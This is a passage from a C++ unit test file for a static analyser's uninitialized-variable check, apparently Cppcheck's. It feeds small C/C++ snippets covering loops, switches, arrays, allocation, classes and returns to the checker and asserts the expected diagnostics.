[legacyUninitvar]\\n\", errout_str());\n\n // #6952 - while-loop\n checkUninitVar(\"void f(void)\\n\"\n \"{\\n\"\n \" int* p;\\n\"\n \" while (*p != 8) {\\n\" // <<\n \" *p = 7;\\n\"\n \" p = new int(9);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Uninitialized variable: p [legacyUninitvar]\\n\", errout_str());\n\n // switch in loop\n checkUninitVar(\"int foo(int *p) {\\n\"\n \" int x;\\n\"\n \" while (true) {\\n\"\n \" switch (*p) {\\n\"\n \" case 1:\\n\"\n \" return x;\\n\"\n \" case 2:\\n\"\n \" x = 123;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ++p\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // switch..\n void uninitvar_switch() {\n checkUninitVar(\"void f(int x)\\n\"\n \"{\\n\"\n \" short c;\\n\"\n \" switch(x) {\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Uninitialized variable: c [uninitvar]\\n\", \"\", errout_str());\n\n checkUninitVar(\"char * f()\\n\"\n \"{\\n\"\n \" static char ret[200];\\n\"\n \" memset(ret, 0, 200);\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 1: return ret;\\n\"\n \" case 2: return ret;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo(const int iVar, unsigned int slot, unsigned int pin)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (iVar == 0)\\n\"\n \" {\\n\"\n \" switch (slot)\\n\"\n \" {\\n\"\n \" case 4: return 5;\\n\"\n \" default: return -1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" switch (pin)\\n\"\n \" {\\n\"\n \" case 0: i = 2; break;\\n\"\n \" default: i = -1; break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #1855 - switch(foo(&x))\n checkUninitVar(\"int a()\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" switch (foo(&x))\\n\"\n \" {\\n\"\n \" case 1:\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3231 - ({ switch .. })\n checkUninitVar(\"void f() {\\n\"\n \" int a;\\n\"\n \" ({\\n\"\n \" switch(sizeof(int)) {\\n\"\n \" case 4:\\n\"\n \" default:\\n\"\n \" (a)=0;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // arrays..\n void uninitvar_arrays() {\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" a[a[0]] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Uninitialized variable: a[0] [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int f()\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" *a = '\\\\0';\\n\"\n \" int i = strlen(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a, b[10];\\n\"\n \" a = b[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a[10], b[10];\\n\"\n \" a[0] = b[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a[10], *p;\\n\"\n \" *(p = a) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char a[10], *p;\\n\"\n \" p = &(a[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // array usage in ?: (tests that the isVariableUsed() works)\n checkUninitVar(\"void f() {\\n\"\n \" char a[10], *p;\\n\"\n \" p = c?a:0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" char a[10], c;\\n\"\n \" c = *(x?a:0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char a[10], c;\\n\"\n \" strcpy(dest, x?a:\\\"\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" int a[2];\\n\"\n \" y *= (x ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // passing array to library functions\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char c[50] = \\\"\\\";\\n\"\n \" strcat(c, \\\"test\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(char *s2) {\\n\"\n \" char s[20];\\n\"\n \" strcpy(s2, s);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Uninitialized variable: s [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char s[20];\\n\"\n \" strcat(s, \\\"abc\\\");\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: s [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char s[20];\\n\"\n \" strchr(s, ' ');\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: s [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" int y[2];\\n\"\n \" int s;\\n\"\n \" GetField( y + 0, y + 1 );\\n\"\n \" s = y[0] * y[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" int a[2];\\n\"\n \" init(a - 1);\\n\"\n \" int b = a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" Fred a[2];\\n\"\n \" Fred b = a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" char buf[1024];\\n\"\n \" char *b = (char *) (((uintptr_t) buf + 63) & ~(uintptr_t) 63);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo() {\\n\"\n \" char buf[1024];\\n\"\n \" char x = *(char *) (((uintptr_t) buf + 63) & ~(uintptr_t) 63);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Uninitialized variable: buf [legacyUninitvar]\\n\", errout_str());\n\n // Passing array to function\n checkUninitVar(\"void f(int i);\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" f(a[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n // Ticket #2320\n checkUninitVar(\"void foo() {\\n\"\n \" char a[2];\\n\"\n \" unsigned long b = (unsigned long)(a+2) & ~7;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // Ticket #3050\n \" char a[2];\\n\"\n \" printf(\\\"%s\\\", a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", \"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // Ticket #5108 (fp)\n \" const char *a;\\n\"\n \" printf(\\\"%s\\\", a=\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // Ticket #3497\n \" char header[1];\\n\"\n \" *((unsigned char*)(header)) = 0xff;\\n\"\n \" return header[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\" // Ticket #3497\n \" char header[1];\\n\"\n \" *((unsigned char*)((unsigned char *)(header))) = 0xff;\\n\"\n \" return header[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" ABC abc;\\n\"\n \" int a[1];\\n\"\n \"\\n\"\n \" abc.a = a;\\n\"\n \" init(&abc);\\n\"\n \" return a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3344\n checkUninitVar(\"void f(){\\n\"\n \" char *strMsg = \\\"This is a message\\\";\\n\"\n \" char *buffer=(char*)malloc(128*sizeof(char));\\n\"\n \" strcpy(strMsg,buffer);\\n\"\n \" free(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Memory is allocated but not initialized: buffer [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f(){\\n\"\n \" char *strMsg = \\\"This is a message\\\";\\n\"\n \" char *buffer=static_cast(malloc(128*sizeof(char)));\\n\"\n \" strcpy(strMsg,buffer);\\n\"\n \" free(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Memory is allocated but not initialized: buffer [uninitdata]\\n\", errout_str());\n\n // #3845\n checkUninitVar(\"int foo() {\\n\"\n \" int a[1] = {5};\\n\"\n \" return a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int a[2][2] = {{3,4}, {5,6}};\\n\"\n \" return a[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int a[1];\\n\"\n \" return a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int a[2][2];\\n\"\n \" return a[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"int foo() {\\n\"\n \" int a[10];\\n\"\n \" dostuff(a[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 4740\n checkUninitVar(\"void f() {\\n\"\n \" int *a[2][19];\\n\"\n \" int **b = a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6869 - FP when passing uninit array to function\n checkUninitVar(\"void bar(PSTR x);\\n\"\n \"void foo() {\\n\"\n \" char x[10];\\n\"\n \" bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct\n checkUninitVar(\"struct Fred { int x; int y; };\\n\"\n \"\"\n \"void f() {\\n\"\n \" struct Fred fred[10];\\n\"\n \" fred[1].x = 0;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"char f() {\\n\"\n \" std::array a;\\n\"\n \" return a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"std::string f() {\\n\"\n \" std::array a;\\n\"\n \" return a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f() {\\n\" // #12355\n \" const int x[10](1, 2);\\n\"\n \" if (x[0] == 1) {}\\n\"\n \" return x[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_pointertoarray() {\n checkUninitVar(\"void draw_quad(float z) {\\n\"\n \" int i;\\n\"\n \" float (*vertices)[2][4];\\n\"\n \" vertices[0][0][0] = z;\\n\"\n \" vertices[0][0][1] = z;\\n\"\n \" vertices[1][0][0] = z;\\n\"\n \" vertices[1][0][1] = z;\\n\"\n \" vertices[2][0][0] = z;\\n\"\n \" vertices[2][0][1] = z;\\n\"\n \" vertices[3][0][0] = z;\\n\"\n \" vertices[3][0][1] = z;\\n\"\n \" for (i = 0; i < 4; i++) {\\n\"\n \" vertices[i][0][2] = z;\\n\"\n \" vertices[i][0][3] = 1.0;\\n\"\n \" vertices[i][1][0] = 2.0;\\n\"\n \" vertices[i][1][1] = 3.0;\\n\"\n \" vertices[i][1][2] = 4.0;\\n\"\n \" vertices[i][1][3] = 5.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Uninitialized variable: vertices [legacyUninitvar]\\n\",\n errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" std::array *PArr[2] = { p0, p1 };\\n\"\n \" (*PArr[0])[2] = 0;\\n\"\n \" (*PArr[1])[2] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_cpp11ArrayInit() { // #7010\n checkUninitVar(\"double foo(bool flag) {\\n\"\n \" double adIHPoint_local[4][4]{};\\n\"\n \" function(*adIHPoint_local);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // alloc..\n void uninitvar_alloc() {\n checkUninitVar(\"void f() {\\n\"\n \" char *s = (char *)malloc(100);\\n\"\n \" strcat(s, \\\"abc\\\");\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Memory is allocated but not initialized: s [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char *s1 = new char[10];\\n\"\n \" char *s2 = new char[strlen(s1)];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Memory is allocated but not initialized: s1 [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char *p = (char*)malloc(64);\\n\"\n \" int x = p[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" char *p = (char*)malloc(64);\\n\"\n \" if (p[0]) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Memory is allocated but not initialized: p[0] [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"char f() {\\n\"\n \" char *p = (char*)malloc(64);\\n\"\n \" return p[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" Fred *fred = new Fred;\\n\"\n \" fred->foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"struct Fred { int i; Fred(int, float); };\\n\"\n \"void f() {\\n\"\n \" Fred *fred = new Fred(1, 2);\\n\"\n \" fred->foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" Fred *fred = malloc(sizeof(Fred));\\n\"\n \" x(&fred->f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" Fred *fred = malloc(sizeof(Fred));\\n\"\n \" x(fred->f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo(char *s)\\n\"\n \"{\\n\"\n \" char *a = malloc(100);\\n\"\n \" *a = *s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" char *a;\\n\"\n \" if (a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Uninitialized variable: a [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" char *a = malloc(100);\\n\"\n \" if (a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" ABC *abc = malloc(100);\\n\"\n \" abc->a = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" ABC *abc = malloc(100);\\n\"\n \" abc->a.word = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" ABC *abc = malloc(100);\\n\"\n \" abc->a = 123;\\n\"\n \" abc->a += 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" ABC *abc = malloc(100);\\n\"\n \" free(abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char *s = (char*)malloc(100);\\n\"\n \" if (!s)\\n\"\n \" return;\\n\"\n \" char c = *s;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Memory is allocated but not initialized: s\\n\", \"\", errout_str());\n\n // #3708 - false positive when using ptr typedef\n checkUninitVar(\"void f() {\\n\"\n \" uintptr_t x = malloc(100);\\n\"\n \" uintptr_t y = x + 10;\\n\" // <- not bad usage\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f() {\\n\"\n \" z_stream strm;\\n\"\n \" char* buf = malloc(10);\\n\"\n \" strm.next_out = buf;\\n\"\n \" deflate(&strm, Z_FINISH);\\n\"\n \" memcpy(body, buf, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6451 - allocation in subscope\n checkUninitVar(\"struct StgStrm {\\n\"\n \" StgIo& rIo;\\n\"\n \" StgStrm(StgIo&);\\n\"\n \" virtual sal_Int32 Write();\\n\"\n \"};\\n\"\n \"void Tmp2Strm() {\\n\"\n \" StgStrm* pNewStrm;\\n\"\n \" if (someflag)\\n\"\n \" pNewStrm = new StgStrm(rIo);\\n\"\n \" else\\n\"\n \" pNewStrm = new StgStrm(rIo);\\n\"\n \" pNewStrm->Write();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6450 - calling a member function is allowed if memory was allocated by new\n checkUninitVar(\"struct EMFPFont {\\n\"\n \" bool family;\\n\"\n \" void Initialize();\\n\"\n \"};\\n\"\n \"void processObjectRecord() {\\n\"\n \" EMFPFont *font = new EMFPFont();\\n\"\n \" font->Initialize();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7623 - new can also initialize the memory, don't warn in this case\n checkUninitVar(\"void foo(){\\n\"\n \" int* p1 = new int(314);\\n\"\n \" int* p2 = new int();\\n\"\n \" int* arr = new int[5]();\\n\"\n \" std::cout << *p1 << *p2 << arr[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // new in C code does not allocate..\n checkUninitVar(\"int main() {\\n\"\n \" char * pBuf = new(10);\\n\"\n \" a = *pBuf;\\n\"\n \"}\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"class A {};\\n\" // #10698\n \"void f() {\\n\"\n \" A* a = new A{};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #1175\n checkUninitVar(\"void f() {\\n\"\n \" int* p = new int;\\n\"\n \" *((int*)*p) = 42;\\n\"\n \" delete p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Memory is allocated but not initialized: p [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"int f() {\\n\" // #10596\n \" int* a = new int;\\n\"\n \" int i{};\\n\"\n \" i += *a;\\n\"\n \" delete a;\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Memory is allocated but not initialized: a [uninitdata]\\n\", errout_str());\n\n checkUninitVar(\"void* f(size_t n, int i) {\\n\" // #11766\n \" char* p = (char*)malloc(n);\\n\"\n \" *(int*)p = i;\\n\"\n \" return p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void* f(size_t n, int i) {\\n\"\n \" char* p = (char*)malloc(n);\\n\"\n \" *(int*)(void*)p = i;\\n\"\n \" return p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int n) {\\n\"\n \" int* p = (int*)malloc(n * sizeof(int));\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" *(p + i) = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // class / struct..\n void uninitvar_class() {\n checkUninitVar(\"class Fred\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int a() { return i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" struct Relative {\\n\"\n \" Surface *surface;\\n\"\n \" void MoveTo(int x, int y) {\\n\"\n \" surface->MoveTo();\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" static const struct ab {\\n\"\n \" int a,b;\\n\"\n \" int get_a() { return a; }\"\n \" } x = { 0, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" {\\n\"\n \" union ab {\\n\"\n \" int a,b;\\n\"\n \" }\\n\"\n \" i = 0;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(int x) {\\n\"\n \" struct AB ab;\\n\"\n \" x = ab.x = 12;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // enum..\n void uninitvar_enum() {\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" enum AB { a, b };\\n\"\n \" AB ab;\\n\"\n \" if (ab);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Uninitialized variable: ab [legacyUninitvar]\\n\", errout_str());\n }\n\n // references..\n void uninitvar_references() {\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int &b = a;\\n\"\n \" b = 0;\\n\"\n \" int x = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void f(struct blame_entry *ent)\\n\"\n \"{\\n\"\n \" struct origin *suspect = ent->suspect;\\n\"\n \" char hex[41];\\n\"\n \" strcpy(hex, sha1_to_hex(suspect->commit->object.sha1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"void foo()\\n\"\n \"{\\n\"\n \" const std::string s(x());\\n\"\n \" strchr(s.c_str(), ',');\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6717\n checkUninitVar(\"void f() {\\n\"\n \" struct thing { int value; };\\n\"\n \" thing it;\\n\"\n \" int& referenced_int = it.value;\\n\"\n \" referenced_int = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uninitvar_return() {\n\n checkUninitVar(\"static int foo() {\\n\"\n \" int ret;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static int foo() {\\n\"\n \" int ret;\\n\"\n \" return ret+5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"static int foo() {\\n\"\n \" int ret;\\n\"\n \" return ret = 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n checkUninitVar(\"static int foo() {\\n\"\n \" int ret;\\n\"\n \" cin >> ret;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"static int foo() {\\n\"\n \" int ret;\\n\"\n \" return cin >> ret;\\n\"\n \"}\\n\", dinit(CheckUninitVarOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:19]: (error) Uninitialized variable: ret [legacyUninitvar]\\n\", errout_str());\n }\n\n // Ticket #6341- False negative\n {\n checkUninitVar(\"wchar_t f() { int i; return btowc(i); }\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n\n checkUninitVar(\"wchar_t f(int i) { return btowc(i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid a potential false positive (#6341)\n checkUninitVar(\n \"void setvalue(int &x) {\\n\"\n \" x = 0;\\n\"\n \" return 123;\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" int x;\\n\"\n \" return setvalue(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Ticket #5412 - False negative\n {\n checkUninitVar(\"void f(bool b) {\\n\"\n \" double f;\\n\"\n \" if (b) { }\\n\"\n \" else {\\n\"\n \" f = 0.0;\\n\"\n \" }\\n\"\n \" printf (\\\"%f\\\",f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18]: (error) Uninitialized variable: f [legacyUninitvar]\\n\", errout_str());\n\n // Check for potential FP\n checkUninitVar(\"void f(bool b) {\\n\"\n \" double f;\\n\"\n \" if (b) { f = 1.0 }\\n\"\n \" else {\\n\"\n \" f = 0.0;\\n\"\n \" }\\n\"\n \" printf (\\\"%f\\\",f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Ticket #2146 - False negative\n checkUninitVar(\"int f(int x) {\\n\"\n \" int y;\\n\"\n \" return x ? 1 : y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Uninitialized variable: y [legacyUninitvar]\\n\", errout_str());\n\n // Ticket #3106 - False positive\n {\n checkUninitVar(\"int f() {\\n\"\n \" int i;\\n\"\n \" return x(&i) ? i : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUninitVar(\"int f() {\\n\"\n \" int i;\\n\"\n \" return x() ? i : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Uninitialized variable: i [legacyUninitvar]\\n\", errout_str());\n }\n }\n\n void uninitvar_assign() { // = { .. }\n // #1533\n checkUninitVar(\"char a()\\n\"\n \"{\\n\"\n \" char key;\\n\"\n \" struct A msg = { .buf = {&key} };\\n\"\n \" init(&msg);\\n\"\n \" key++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5660 - False positive\n checkUninitVar(\"int f() {\\n\"\n \" int result;\\n\"\n \" int *res[] = {&result};\\n\"\n \" foo(res);\\n\"\n \" return result;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6873\n checkUninitVar(\"int f() {\\n\"\n \" char a[10];\\n\"\n \" char *b[] = {a};\\n\"\n \" foo(b);\\n\"\n \" return atoi(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // = { .. }\n checkUninitVar(\"int f() {\\n\"\n \" int a;\\n\"\n \" int *p[] = { &a };\\n\"\n \" *p[0] = 0;\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n // strncpy doesn't always null-terminate..\n void uninitvar_strncpy() {\n // TODO: Add this checking\n // Can it be added without hardcoding?\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" strncpy(a, s, 20);\\n\"\n \" strncat(a, s, 20);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Dangerous usage of 'a' (strncpy doesn't always null-terminate it).\\n\", \"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" strncpy(a, \\\"hello\\\", 3);\\n\"\n \" strncat(a, \\\"world\\\", 20);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Dangerous usage of 'a' (strncpy doesn't always null-terminate it).\\n\", \"\", errout_str());\n\n checkUninitVar(\"void f()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" strncpy(a, \\\"hello\\\", sizeof(a));\\n\"\n \" strncat(a, \\\"world\\\", 20);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3245 - false positive\n {\n checkUninitVar(\"void f() {\\n\"\n \" char a[100];\\n\"\n \" strncpy(a,p,10);\\n\"\n \" 